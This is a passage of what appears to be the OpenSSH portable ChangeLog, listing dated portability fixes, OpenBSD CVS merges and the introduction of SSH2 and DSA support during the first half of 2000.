- (djm) Fix incorrect configure handling of --with-rsh-path option. Fix from + Lutz Jaenicke + - (djm) Fixed undefined variables for OSF SIA. Report from + Baars, Henk + - (djm) Handle EWOULDBLOCK returns from read() and write() in atomicio.c + Fix from Marquess, Steve Mr JMLFDC + - (djm) Don't use inet_addr. + +20000702 + - (djm) Fix brace mismatch from Corinna Vinschen + - (djm) Stop shadow expiry checking from preventing logins with NIS. Based + on fix from HARUYAMA Seigo + - (djm) Use standard OpenSSL functions in auth-skey.c. Patch from + Chris, the Young One + - (djm) Fix scp progress meter on really wide terminals. Based on patch + from James H. Cloos Jr. + +20000701 + - (djm) Fix Tru64 SIA problems reported by John P Speno + - (djm) Login fixes from Tom Bertelson + - (djm) Replace "/bin/sh" with _PATH_BSHELL. Report from Corinna Vinschen + + - (djm) Replace "/usr/bin/login" with LOGIN_PROGRAM + - (djm) Added check for broken snprintf() functions which do not correctly + terminate output string and attempt to use replacement. + - (djm) Released 2.1.1p2 + +20000628 + - (djm) Fixes to lastlog code for Irix + - (djm) Use atomicio in loginrec + - (djm) Patch from Michael Stone to add support for + Irix 6.x array sessions, project id's, and system audit trail id. + - (djm) Added 'distprep' make target to simplify packaging + - (djm) Added patch from Chris Adams to add OSF SIA + support. Enable using "USE_SIA=1 ./configure [options]" + +20000627 + - (djm) Fixes to login code - not setting li->uid, cleanups + - (djm) Formatting + +20000626 + - (djm) Better fix to aclocal tests from Garrick James + - (djm) Account expiry support from Andreas Steinmetz + - (djm) Added password expiry checking (no password change support) + - (djm) Make EGD failures non-fatal if OpenSSL's entropy pool is still OK + based on patch from Lutz Jaenicke + - (djm) Fix fixed EGD code. + - OpenBSD CVS update + - provos@cvs.openbsd.org 2000/06/25 14:17:58 + [channels.c] + correct check for bad channel ids; from Wei Dai + +20000623 + - (djm) Use sa_family_t in prototype for rresvport_af. Patch from + Svante Signell + - (djm) Autoconf logic to define sa_family_t if it is missing + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/22 10:32:27 + [sshd.c] + missing atomicio; report from Steve.Marquess@DET.AMEDD.ARMY.MIL + - djm@cvs.openbsd.org 2000/06/22 17:55:00 + [auth-krb4.c key.c radix.c uuencode.c] + Missing CVS idents; ok markus + +20000622 + - (djm) Automatically generate host key during "make install". Suggested + by Gary E. Miller + - (djm) Paranoia before kill() system call + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/18 18:50:11 + [auth2.c compat.c compat.h sshconnect2.c] + make userauth+pubkey interop with ssh.com-2.2.0 + - markus@cvs.openbsd.org 2000/06/18 20:56:17 + [dsa.c] + mem leak + be more paranoid in dsa_verify. + - markus@cvs.openbsd.org 2000/06/18 21:29:50 + [key.c] + cleanup fingerprinting, less hardcoded sizes + - markus@cvs.openbsd.org 2000/06/19 19:39:45 + [atomicio.c auth-options.c auth-passwd.c auth-rh-rsa.c auth-rhosts.c] + [auth-rsa.c auth-skey.c authfd.c authfd.h authfile.c bufaux.c bufaux.h] + [buffer.c buffer.h canohost.c channels.c channels.h cipher.c cipher.h] + [clientloop.c compat.c compat.h compress.c compress.h crc32.c crc32.h] + [deattack.c dispatch.c dsa.c fingerprint.c fingerprint.h getput.h hmac.c] + [kex.c log-client.c log-server.c login.c match.c mpaux.c mpaux.h nchan.c] + [nchan.h packet.c packet.h pty.c pty.h readconf.c readconf.h readpass.c] + [rsa.c rsa.h scp.c servconf.c servconf.h ssh-add.c ssh-keygen.c ssh.c] + [ssh.h tildexpand.c ttymodes.c ttymodes.h uidswap.c xmalloc.c xmalloc.h] + OpenBSD tag + - markus@cvs.openbsd.org 2000/06/21 10:46:10 + sshconnect2.c missing free; nuke old comment + +20000620 + - (djm) Replace use of '-o' and '-a' logical operators in configure tests + with '||' and '&&'. As suggested by Jim Knoble + to fix SCO Unixware problem reported by Gary E. Miller + - (djm) Typo in loginrec.c + +20000618 + - (djm) Add summary of configure options to end of ./configure run + - (djm) Not all systems define RUSAGE_SELF & RUSAGE_CHILDREN. Report from + Michael Stone + - (djm) rusage is a privileged operation on some Unices (incl. + Solaris 2.5.1). Report from Paul D. Smith + - (djm) Avoid PAM failures when running without a TTY. Report from + Martin Petrak + - (djm) Include sys/types.h when including netinet/in.h in configure tests. + Patch from Jun-ichiro itojun Hagino + - (djm) Started merge of Ben Lindstrom's NeXT support + - OpenBSD CVS updates: + - deraadt@cvs.openbsd.org 2000/06/17 09:58:46 + [channels.c] + everyone says "nix it" (remove protocol 2 debugging message) + - markus@cvs.openbsd.org 2000/06/17 13:24:34 + [sshconnect.c] + allow extended server banners + - markus@cvs.openbsd.org 2000/06/17 14:30:10 + [sshconnect.c] + missing atomicio, typo + - jakob@cvs.openbsd.org 2000/06/17 16:52:34 + [servconf.c servconf.h session.c sshd.8 sshd_config] + add support for ssh v2 subsystems. ok markus@. + - deraadt@cvs.openbsd.org 2000/06/17 18:57:48 + [readconf.c servconf.c] + include = in WHITESPACE; markus ok + - markus@cvs.openbsd.org 2000/06/17 19:09:10 + [auth2.c] + implement bug compatibility with ssh-2.0.13 pubkey, server side + - markus@cvs.openbsd.org 2000/06/17 21:00:28 + [compat.c] + initial support for ssh.com's 2.2.0 + - markus@cvs.openbsd.org 2000/06/17 21:16:09 + [scp.c] + typo + - markus@cvs.openbsd.org 2000/06/17 22:05:02 + [auth-rsa.c auth2.c serverloop.c session.c auth-options.c auth-options.h] + split auth-rsa option parsing into auth-options + add options support to authorized_keys2 + - markus@cvs.openbsd.org 2000/06/17 22:42:54 + [session.c] + typo + +20000613 + - (djm) Fixes from Andrew McGill : + - Platform define for SCO 3.x which breaks on /dev/ptmx + - Detect and try to fix missing MAXPATHLEN + - (djm) Fix short copy in loginrec.c (based on patch from Phill Camp + + +20000612 + - (djm) Glob manpages in RPM spec files to catch compressed files + - (djm) Full license in auth-pam.c + - (djm) Configure fixes from SAKAI Kiyotaka + - (andre) AIX, lastlog, configure fixes from Tom Bertelson : + - Don't try to retrieve lastlog from wtmp/wtmpx if DISABLE_LASTLOG is + def'd + - Set AIX to use preformatted manpages + +20000610 + - (djm) Minor doc tweaks + - (djm) Fix for configure on bash2 from Jim Knoble + +20000609 + - (djm) Patch from Kenji Miyake to disable utmp usage + (in favour of utmpx) on Solaris 8 + +20000606 + - (djm) Cleanup of entropy.c. Reorganised code, removed second pass through + list of commands (by default). Removed verbose debugging (by default). + - (djm) Increased command entropy estimates and default entropy collection + timeout + - (djm) Remove duplicate headers from loginrec.c + - (djm) Don't add /usr/local/lib to library search path on Irix + - (djm) Fix rsh path in RPMs. Report from Jason L Tibbitts III + + - (djm) Warn user if grabs fail in GNOME askpass. Patch from Zack Weinberg + + - (djm) OpenBSD CVS updates: + - todd@cvs.openbsd.org + [sshconnect2.c] + teach protocol v2 to count login failures properly and also enable an + explanation of why the password prompt comes up again like v1; this is NOT + crypto + - markus@cvs.openbsd.org + [readconf.c readconf.h servconf.c servconf.h session.c ssh.1 ssh.c sshd.8] + xauth_location support; pr 1234 + [readconf.c sshconnect2.c] + typo, unused + [session.c] + allow use_login only for login sessions, otherwise remote commands are + execed with uid==0 + [sshd.8] + document UseLogin better + [version.h] + OpenSSH 2.1.1 + [auth-rsa.c] + fix match_hostname() logic for auth-rsa: deny access if we have a + negative match or no match at all + [channels.c hostfile.c match.c] + don't panic if mkdtemp fails for authfwd; jkb@yahoo-inc.com via + kris@FreeBSD.org + +20000606 + - (djm) Added --with-cflags, --with-ldflags and --with-libs options to + configure. + +20000604 + - Configure tweaking for new login code on Irix 5.3 + - (andre) login code changes based on djm feedback + +20000603 + - (andre) New login code + - Remove bsd-login.[ch] and all the OpenBSD-derived code in login.c + - Add loginrec.[ch], logintest.c and autoconf code + +20000531 + - Cleanup of auth.c, login.c and fake-* + - Cleanup of auth-pam.c, save and print "account expired" error messages + - Fix EGD read bug by IWAMURO Motonori + - Rewrote bsd-login to use proper utmp API if available. Major cleanup + of fallback DIY code. + +20000530 + - Define atexit for old Solaris + - Fix buffer overrun in login.c for systems which use syslen in utmpx. + patch from YOSHIFUJI Hideaki + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [session.c] + make x11-fwd work w/ localhost (xauth add host/unix:11) + [cipher.c compat.c readconf.c servconf.c] + check strtok() != NULL; ok niels@ + [key.c] + fix key_read() for uuencoded keys w/o '=' + [serverloop.c] + group ssh1 vs. ssh2 in serverloop + [kex.c kex.h myproposal.h sshconnect2.c sshd.c] + split kexinit/kexdh, factor out common code + [readconf.c ssh.1 ssh.c] + forwardagent defaults to no, add ssh -A + - theo@cvs.openbsd.org + [session.c] + just some line shortening + - Released 2.1.0p3 + +20000520 + - Xauth fix from Markus Friedl + - Don't touch utmp if USE_UTMPX defined + - SunOS 4.x support from Todd C. Miller + - SIGCHLD fix for AIX and HPUX from Tom Bertelson + - HPUX and Configure fixes from Lutz Jaenicke + + - Use mkinstalldirs script to make directories instead of non-portable + "install -d". Suggested by Lutz Jaenicke + - Doc cleanup + +20000518 + - Include Andre Lucas' fixprogs script. Forgot to "cvs add" it yesterday + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [sshconnect.c] + copy only ai_addrlen bytes; misiek@pld.org.pl + [auth.c] + accept an empty shell in authentication; bug reported by + chris@tinker.ucr.edu + [serverloop.c] + we don't have stderr for interactive terminal sessions (fcntl errors) + +20000517 + - Fix from Andre Lucas + - Fixes command line printing segfaults (spotter: Bladt Norbert) + - Fixes erroneous printing of debug messages to syslog + - Fixes utmp for MacOS X (spotter: Aristedes Maniatis) + - Gives useful error message if PRNG initialisation fails + - Reduced ssh startup delay + - Measures cumulative command time rather than the time between reads + after select() + - 'fixprogs' perl script to eliminate non-working entropy commands, and + optionally run 'ent' to measure command entropy + - Applied Tom Bertelson's AIX authentication fix + - Avoid WCOREDUMP complation errors for systems that lack it + - Avoid SIGCHLD warnings from entropy commands + - Fix HAVE_PAM_GETENVLIST setting from Simon Wilkinson + - OpenBSD CVS update: + - markus@cvs.openbsd.org + [ssh.c] + fix usage() + [ssh2.h] + draft-ietf-secsh-architecture-05.txt + [ssh.1] + document ssh -T -N (ssh2 only) + [channels.c serverloop.c ssh.h sshconnect.c sshd.c aux.c] + enable nonblocking IO for sshd w/ proto 1, too; split out common code + [aux.c] + missing include + - Several patches from SAKAI Kiyotaka + - INSTALL typo and URL fix + - Makefile fix + - Solaris fixes + - Checking for ssize_t and memmove. Based on patch from SAKAI Kiyotaka + + - RSAless operation patch from kevin_oconnor@standardandpoors.com + - Detect OpenSSL seperatly from RSA + - Better test for RSA (more compatible with RSAref). Based on work by + Ed Eden + +20000513 + - Fix for non-recognised DSA keys from Arkadiusz Miskiewicz + + +20000511 + - Fix for prng_seed permissions checking from Lutz Jaenicke + + - "make host-key" fix for Irix + +20000509 + - OpenBSD CVS update + - markus@cvs.openbsd.org + [cipher.h myproposal.h readconf.c readconf.h servconf.c ssh.1 ssh.c] + [ssh.h sshconnect1.c sshconnect2.c sshd.8] + - complain about invalid ciphers in SSH1 (e.g. arcfour is SSH2 only) + - hugh@cvs.openbsd.org + [ssh.1] + - zap typo + [ssh-keygen.1] + - One last nit fix. (markus approved) + [sshd.8] + - some markus certified spelling adjustments + - markus@cvs.openbsd.org + [auth2.c channels.c clientloop.c compat compat.h dsa.c kex.c] + [sshconnect2.c ] + - bug compat w/ ssh-2.0.13 x11, split out bugs + [nchan.c] + - no drain if ibuf_empty, fixes x11fwd problems; tests by fries@ + [ssh-keygen.c] + - handle escapes in real and original key format, ok millert@ + [version.h] + - OpenSSH-2.1 + - Moved all the bsd-* and fake-* stuff into new libopenbsd-compat.a + - Doc updates + - Cleanup of bsd-base64 headers, bugfix definitions of __b64_*. Reported + by Andre Lucas + +20000508 + - Makefile and RPM spec fixes + - Generate DSA host keys during "make key" or RPM installs + - OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c sshconnect2.c] + - make x11-fwd interop w/ ssh-2.0.13 + [README.openssh2] + - interop w/ SecureFX + - Release 2.0.0beta2 + + - Configure caching and cleanup patch from Andre Lucas' + + +20000507 + - Remove references to SSLeay. + - Big OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c] + - typo + [session.c] + - update proctitle on pty alloc/dealloc, e.g. w/ windows client + [session.c] + - update proctitle for proto 1, too + [channels.h nchan.c serverloop.c session.c sshd.c] + - use c-style comments + - deraadt@cvs.openbsd.org + [scp.c] + - more atomicio + - markus@cvs.openbsd.org + [channels.c] + - set O_NONBLOCK + [ssh.1] + - update AUTHOR + [readconf.c ssh-keygen.c ssh.h] + - default DSA key file ~/.ssh/id_dsa + [clientloop.c] + - typo, rm verbose debug + - deraadt@cvs.openbsd.org + [ssh-keygen.1] + - document DSA use of ssh-keygen + [sshd.8] + - a start at describing what i understand of the DSA side + [ssh-keygen.1] + - document -X and -x + [ssh-keygen.c] + - simplify usage + - markus@cvs.openbsd.org + [sshd.8] + - there is no rhosts_dsa + [ssh-keygen.1] + - document -y, update -X,-x + [nchan.c] + - fix close for non-open ssh1 channels + [servconf.c servconf.h ssh.h sshd.8 sshd.c ] + - s/DsaKey/HostDSAKey/, document option + [sshconnect2.c] + - respect number_of_password_prompts + [channels.c channels.h servconf.c servconf.h session.c sshd.8] + - GatewayPorts for sshd, ok deraadt@ + [ssh-add.1 ssh-agent.1 ssh.1] + - more doc on: DSA, id_dsa, known_hosts2, authorized_keys2 + [ssh.1] + - more info on proto 2 + [sshd.8] + - sync AUTHOR w/ ssh.1 + [key.c key.h sshconnect.c] + - print key type when talking about host keys + [packet.c] + - clear padding in ssh2 + [dsa.c key.c radix.c ssh.h sshconnect1.c uuencode.c uuencode.h] + - replace broken uuencode w/ libc b64_ntop + [auth2.c] + - log failure before sending the reply + [key.c radix.c uuencode.c] + - remote trailing comments before calling __b64_pton + [auth2.c readconf.c readconf.h servconf.c servconf.h ssh.1] + [sshconnect2.c sshd.8] + - add DSAAuthetication option to ssh/sshd, document SSH2 in sshd.8 + - Bring in b64_ntop and b64_pton from OpenBSD libc (bsd-base64.[ch]) + +20000502 + - OpenBSD CVS update + [channels.c] + - init all fds, close all fds. + [sshconnect2.c] + - check whether file exists before asking for passphrase + [servconf.c servconf.h sshd.8 sshd.c] + - PidFile, pr 1210 + [channels.c] + - EINTR + [channels.c] + - unbreak, ok niels@ + [sshd.c] + - unlink pid file, ok niels@ + [auth2.c] + - Add missing #ifdefs; ok - markus + - Add Andre Lucas' patch to read entropy + gathering commands from a text file + - Release 2.0.0beta1 + +20000501 + - OpenBSD CVS update + [packet.c] + - send debug messages in SSH2 format + [scp.c] + - fix very rare EAGAIN/EINTR issues; based on work by djm + [packet.c] + - less debug, rm unused + [auth2.c] + - disable kerb,s/key in ssh2 + [sshd.8] + - Minor tweaks and typo fixes. + [ssh-keygen.c] + - Put -d into usage and reorder. markus ok. + - Include missing headers for OpenSSL tests. Fix from Phil Karn + + - Fixed __progname symbol collisions reported by Andre Lucas + + - Merged bsd-login ttyslot and AIX utmp patch from Gert Doering + + - Add some missing ifdefs to auth2.c + - Deprecate perl-tk askpass. + - Irix portability fixes - don't include netinet headers more than once + - Make sure we don't save PRNG seed more than once + +20000430 + - Merge HP-UX fixes and TCB support from Ged Lodder + - Integrate Andre Lucas' entropy collection + patch. + - Adds timeout to entropy collection + - Disables slow entropy sources + - Load and save seed file + - Changed entropy seed code to user per-user seeds only (server seed is + saved in root's .ssh directory) + - Use atexit() and fatal cleanups to save seed on exit + - More OpenBSD updates: + [session.c] + - don't call chan_write_failed() if we are not writing + [auth-rsa.c auth1.c authfd.c hostfile.c ssh-agent.c] + - keysize warnings error() -> log() + +20000429 + - Merge big update to OpenSSH-2.0 from OpenBSD CVS + [README.openssh2] + - interop w/ F-secure windows client + - sync documentation + - ssh_host_dsa_key not ssh_dsa_key + [auth-rsa.c] + - missing fclose + [auth.c authfile.c compat.c dsa.c dsa.h hostfile.c key.c key.h radix.c] + [readconf.c readconf.h ssh-add.c ssh-keygen.c ssh.c ssh.h sshconnect.c] + [sshd.c uuencode.c uuencode.h authfile.h] + - add DSA pubkey auth and other SSH2 fixes. use ssh-keygen -[xX] + for trading keys with the real and the original SSH, directly from the + people who invented the SSH protocol. + [auth.c auth.h authfile.c sshconnect.c auth1.c auth2.c sshconnect.h] + [sshconnect1.c sshconnect2.c] + - split auth/sshconnect in one file per protocol version + [sshconnect2.c] + - remove debug + [uuencode.c] + - add trailing = + [version.h] + - OpenSSH-2.0 + [ssh-keygen.1 ssh-keygen.c] + - add -R flag: exit code indicates if RSA is alive + [sshd.c] + - remove unused + silent if -Q is specified + [ssh.h] + - host key becomes /etc/ssh_host_dsa_key + [readconf.c servconf.c ] + - ssh/sshd default to proto 1 and 2 + [uuencode.c] + - remove debug + [auth2.c ssh-keygen.c sshconnect2.c sshd.c] + - xfree DSA blobs + [auth2.c serverloop.c session.c] + - cleanup logging for sshd/2, respect PasswordAuth no + [sshconnect2.c] + - less debug, respect .ssh/config + [README.openssh2 channels.c channels.h] + - clientloop.c session.c ssh.c + - support for x11-fwding, client+server + +20000421 + - Merge fix from OpenBSD CVS + [ssh-agent.c] + - Fix memory leak per connection. Report from Andy Spiegl + via Debian bug #59926 + - Define __progname in session.c if libc doesn't + - Remove indentation on autoconf #include statements to avoid bug in + DEC Tru64 compiler. Report and fix from David Del Piero + + +20000420 + - Make fixpaths work with perl4, patch from Andre Lucas + + - Sync with OpenBSD CVS: + [clientloop.c login.c serverloop.c ssh-agent.c ssh.h sshconnect.c sshd.c] + - pid_t + [session.c] + - remove bogus chan_read_failed. this could cause data + corruption (missing data) at end of a SSH2 session. + - Merge fixes from Debian patch from Phil Hands + - Allow setting of PAM service name through CFLAGS (SSHD_PAM_SERVICE) + - Use vhangup to clean up Linux ttys + - Force posix getopt processing on GNU libc systems + - Debian bug #55910 - remove references to ssl(8) manpages + - Debian bug #58031 - ssh_config lies about default cipher + +20000419 + - OpenBSD CVS updates + [channels.c] + - fix pr 1196, listen_port and port_to_connect interchanged + [scp.c] + - after completion, replace the progress bar ETA counter with a final + elapsed time; my idea, aaron wrote the patch + [ssh_config sshd_config] + - show 'Protocol' as an example, ok markus@ + [sshd.c] + - missing xfree() + - Add missing header to bsd-misc.c + +20000416 + - Reduce diff against OpenBSD source + - All OpenSSL includes are now unconditionally referenced as + openssl/foo.h + - Pick up formatting changes + - Other minor changed (typecasts, etc) that I missed + +20000415 + - OpenBSD CVS updates. + [ssh.1 ssh.c] + - ssh -2 + [auth.c channels.c clientloop.c packet.c packet.h serverloop.c] + [session.c sshconnect.c] + - check payload for (illegal) extra data + [ALL] + whitespace cleanup + +20000413 + - INSTALL doc updates + - Merged OpenBSD updates to include paths. + +20000412 + - OpenBSD CVS updates: + - [channels.c] + repair x11-fwd + - [sshconnect.c] + fix passwd prompt for ssh2, less debugging output. + - [clientloop.c compat.c dsa.c kex.c sshd.c] + less debugging output + - [kex.c kex.h sshconnect.c sshd.c] + check for reasonable public DH values + - [README.openssh2 cipher.c cipher.h compat.c compat.h readconf.c] + [readconf.h servconf.c servconf.h ssh.c ssh.h sshconnect.c sshd.c] + add Cipher and Protocol options to ssh/sshd, e.g.: + ssh -o 'Protocol 1,2' if you prefer proto 1, ssh -o 'Ciphers + arcfour,3des-cbc' + - [sshd.c] + print 1.99 only if server supports both + +20000408 + - Avoid some compiler warnings in fake-get*.c + - Add IPTOS macros for systems which lack them + - Only set define entropy collection macros if they are found + - More large OpenBSD CVS updates: + - [auth.c auth.h servconf.c servconf.h serverloop.c session.c] + [session.h ssh.h sshd.c README.openssh2] + ssh2 server side, see README.openssh2; enable with 'sshd -2' + - [channels.c] + no adjust after close + - [sshd.c compat.c ] + interop w/ latest ssh.com windows client. + +20000406 + - OpenBSD CVS update: + - [channels.c] + close efd on eof + - [clientloop.c compat.c ssh.c sshconnect.c myproposal.h] + ssh2 client implementation, interops w/ ssh.com and lsh servers. + - [sshconnect.c] + missing free. + - [authfile.c cipher.c cipher.h packet.c sshconnect.c sshd.c] + remove unused argument, split cipher_mask() + - [clientloop.c] + re-order: group ssh1 vs. ssh2 + - Make Redhat spec require openssl >= 0.9.5a + +20000404 + - Add tests for RAND_add function when searching for OpenSSL + - OpenBSD CVS update: + - [packet.h packet.c] + ssh2 packet format + - [packet.h packet.c nchan2.ms nchan.h compat.h compat.c] + [channels.h channels.c] + channel layer support for ssh2 + - [kex.h kex.c hmac.h hmac.c dsa.c dsa.h] + DSA, keyexchange, algorithm agreement for ssh2 + - Generate manpages before make install not at the end of make all + - Don't seed the rng quite so often + - Always reseed rng when requested + +20000403 + - Wrote entropy collection routines for systems that lack /dev/random + and EGD + - Disable tests and typedefs for 64 bit types. They are currently unused. + +20000401 + - Big OpenBSD CVS update (mainly beginnings of SSH2 infrastructure) + - [auth.c session.c sshd.c auth.h] + split sshd.c -> auth.c session.c sshd.c plus cleanup and goto-removal + - [bufaux.c bufaux.h] + support ssh2 bignums + - [channels.c channels.h clientloop.c sshd.c nchan.c nchan.h packet.c] + [readconf.c ssh.c ssh.h serverloop.c] + replace big switch() with function tables (prepare for ssh2) + - [ssh2.h] + ssh2 message type codes + - [sshd.8] + reorder Xr to avoid cutting + - [serverloop.c] + close(fdin) if fdin != fdout, shutdown otherwise, ok theo@ + - [channels.c] + missing close + allow bigger packets + - [cipher.c cipher.h] + support ssh2 ciphers + - [compress.c] + cleanup, less code + - [dispatch.c dispatch.h] + function tables for different message types + - [log-server.c] + do not log() if debuggin to stderr + rename a cpp symbol, to avoid param.h collision + - [mpaux.c] + KNF + - [nchan.c] + sync w/ channels.c + +20000326 + - Better tests for OpenSSL w/ RSAref + - Added replacement setenv() function from OpenBSD libc. Suggested by + Ben Lindstrom + - OpenBSD CVS update + - [auth-krb4.c] + -Wall + - [auth-rh-rsa.c auth-rsa.c hostfile.c hostfile.h key.c key.h match.c] + [match.h ssh.c ssh.h sshconnect.c sshd.c] + initial support for DSA keys. ok deraadt@, niels@ + - [cipher.c cipher.h] + remove unused cipher_attack_detected code + - [scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + Fix some formatting problems I missed before. + - [ssh.1 sshd.8] + fix spelling errors, From: FreeBSD + - [ssh.c] + switch to raw mode only if he _get_ a pty (not if we _want_ a pty). + +20000324 + - Released 1.2.3 + +20000317 + - Clarified --with-default-path option. + - Added -blibpath handling for AIX to work around stupid runtime linking. + Problem elucidated by gshapiro@SENDMAIL.ORG by way of Jim Knoble + + - Checks for 64 bit int types. Problem report from Mats Fredholm + + - OpenBSD CVS updates: + - [atomicio.c auth-krb4.c bufaux.c channels.c compress.c fingerprint.c] + [packet.h radix.c rsa.c scp.c ssh-agent.c ssh-keygen.c sshconnect.c] + [sshd.c] + pedantic: signed vs. unsigned, void*-arithm, etc + - [ssh.1 sshd.8] + Various cleanups and standardizations. + - Runtime error fix for HPUX from Otmar Stahl + + +20000316 + - Fixed configure not passing LDFLAGS to Solaris. Report from David G. + Hesprich + - Propogate LD through to Makefile + - Doc cleanups + - Added blurb about "scp: command not found" errors to UPGRADING + +20000315 + - Fix broken CFLAGS handling during search for OpenSSL. Fixes va_list + problems with gcc/Solaris. + - Don't free argument to putenv() after use (in setenv() replacement). + Report from Seigo Tanimura + - Created contrib/ subdirectory. Included helpers from Phil Hands' + Debian package, README file and chroot patch from Ricardo Cerqueira + + - Moved gnome-ssh-askpass.c to contrib directory and removed config + option. + - Slight cleanup to doc files + - Configure fix from Bratislav ILICH + +20000314 + - Include macro for IN6_IS_ADDR_V4MAPPED. Report from + peter@frontierflying.com + - Include /usr/local/include and /usr/local/lib for systems that don't + do it themselves + - -R/usr/local/lib for Solaris + - Fix RSAref detection + - Fix IN6_IS_ADDR_V4MAPPED macro + +20000311 + - Detect RSAref + - OpenBSD CVS change + [sshd.c] + - disallow guessing of root password + - More configure fixes + - IPv6 workarounds from Hideaki YOSHIFUJI + +20000309 + - OpenBSD CVS updates to v1.2.3 + [ssh.h atomicio.c] + - int atomicio -> ssize_t (for alpha). ok deraadt@ + [auth-rsa.c] + - delay MD5 computation until client sends response, free() early, cleanup. + [cipher.c] + - void* -> unsigned char*, ok niels@ + [hostfile.c] + - remove unused variable 'len'. fix comments. + - remove unused variable + [log-client.c log-server.c] + - rename a cpp symbol, to avoid param.h collision + [packet.c] + - missing xfree() + - getsockname() requires initialized tolen; andy@guildsoftware.com + - use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + [pty.c pty.h] + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + [readconf.c] + - turn off x11-fwd for the client, too. + [rsa.c] + - PKCS#1 padding + [scp.c] + - allow '.' in usernames; from jedgar@fxp.org + [servconf.c] + - typo: ignore_user_known_hosts int->flag; naddy@mips.rhein-neckar.de + - sync with sshd_config + [ssh-keygen.c] + - enable ssh-keygen -l -f ~/.ssh/known_hosts, ok deraadt@ + [ssh.1] + - Change invalid 'CHAT' loglevel to 'VERBOSE' + [ssh.c] + - suppress AAAA query host when '-4' is used; from shin@nd.net.fujitsu.co.jp + - turn off x11-fwd for the client, too. + [sshconnect.c] + - missing xfree() + - retry rresvport_af(), too. from sumikawa@ebina.hitachi.co.jp. + - read error vs. "Connection closed by remote host" + [sshd.8] + - ie. -> i.e., + - do not link to a commercial page.. + - sync with sshd_config + [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - log with level log() not fatal() if peer behaves badly. + - don't panic if client behaves strange. ok deraadt@ + - make no-port-forwarding for RSA keys deny both -L and -R style fwding + - delay close() of pty until the pty has been chowned back to root + - oops, fix comment, too. + - missing xfree() + - move XAUTHORITY to subdir. ok dugsong@. fixes debian bug #57907, too. + (http://cgi.debian.org/cgi-bin/bugreport.cgi?archive=no&bug=57907) + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + - create x11 cookie file + - fix pr 1113, fclose() -> pclose(), todo: remote popen() + - version 1.2.3 + - Cleaned up + - Removed warning workaround for Linux and devpts filesystems (no longer + required after OpenBSD updates) + +20000308 + - Configure fix from Hiroshi Takekawa + +20000307 + - Released 1.2.2p1 + +20000305 + - Fix DEC compile fix + - Explicitly seed OpenSSL's PRNG before checking rsa_alive() + - Check for getpagesize in libucb.a if not found in libc. Fix for old + Solaris from Andre Lucas + - Check for libwrap if --with-tcp-wrappers option specified. Suggestion + Mate Wierdl + +20000303 + - Added "make host-key" target, Suggestion from Dominik Brettnacher + + - Don't permanently fail on bind() if getaddrinfo has more choices left for + us. Needed to work around messy IPv6 on Linux. Patch from Arkadiusz + Miskiewicz + - DEC Unix compile fix from David Del Piero + - Manpage fix from David Del Piero + +20000302 + - Big cleanup of autoconf code + - Rearranged to be a little more logical + - Added -R option for Solaris + - Rewrote OpenSSL detection code. Now uses AC_TRY_RUN with a test program + to detect library and header location _and_ ensure library has proper + RSA support built in (this is a problem with OpenSSL 0.9.5). + - Applied pty cleanup patch from markus.friedl@informatik.uni-erlangen.de + - Avoid warning message with Unix98 ptys + - Warning was valid - possible race condition on PTYs. Avoided using + platform-specific code. + - Document some common problems + - Allow root access to any key. Patch from + markus.friedl@informatik.uni-erlangen.de + +20000207 + - Removed SOCKS code. Will support through a ProxyCommand. + +20000203 + - Fixed SEGVs in authloop, fix from vbzoli@hbrt.hu + - Add --with-ssl-dir option + +20000202 + - Fix lastlog code for directory based lastlogs. Fix from Josh Durham + + - Documentation fixes from HARUYAMA Seigo + - Added URLs to Japanese translations of documents by HARUYAMA Seigo + + +20000201 + - Use socket pairs by default (instead of pipes). Prevents race condition + on several (buggy) OSs. Report and fix from tridge@linuxcare.com + +20000127 + - Seed OpenSSL's random number generator before generating RSA keypairs + - Split random collector into seperate file + - Compile fix from Andre Lucas + +20000126 + - Released 1.2.2 stable + + - NeXT keeps it lastlog in /usr/adm. Report from + mouring@newton.pconline.com + - Added note in UPGRADING re interop with commercial SSH using idea. + Report from Jim Knoble + - Fix linking order for Kerberos/AFS. Fix from Holget Trapp + + +20000125 + - Fix NULL pointer dereference in login.c. Fix from Andre Lucas + + - Reorder PAM initialisation so it does not mess up lastlog. Reported + by Andre Lucas + - Use preformatted manpages on SCO, report from Gary E. Miller + + - New URL for x11-ssh-askpass. + - Fixpaths was missing /etc/ssh_known_hosts. Report from Jim Knoble + + - Added 'DESTDIR' option to Makefile to ease package building. Patch from + Jim Knoble + - Updated RPM spec files to use DESTDIR + +20000124 + - Pick up version 1.2.2 from OpenBSD CVS (no changes, just version number + increment) + +20000123 + - OpenBSD CVS: + - [packet.c] + getsockname() requires initialized tolen; andy@guildsoftware.com + - AIX patch from Matt Richards and David Rankin + + - Fix lastlog support, patch from Andre Lucas + +20000122 + - Fix compilation of bsd-snprintf.c on Solaris, fix from Ben Taylor + + - Merge preformatted manpage patch from Andre Lucas + + - Make IPv4 use the default in RPM packages + - Irix uses preformatted manpages + - Missing htons() in bsd-bindresvport.c, fix from Holger Trapp + + - OpenBSD CVS updates: + - [packet.c] + use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + - [sshd.c] + log with level log() not fatal() if peer behaves badly. + - [readpass.c] + instead of blocking SIGINT, catch it ourselves, so that we can clean + the tty modes up and kill ourselves -- instead of our process group + leader (scp, cvs, ...) going away and leaving us in noecho mode. + people with cbreak shells never even noticed.. + - [ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + ie. -> i.e., + +20000120 + - Don't use getaddrinfo on AIX + - Update to latest OpenBSD CVS: + - [auth-rsa.c] + - fix user/1056, sshd keeps restrictions; dbt@meat.net + - [sshconnect.c] + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - destroy keys earlier + - split key exchange (kex) and user authentication (user-auth), 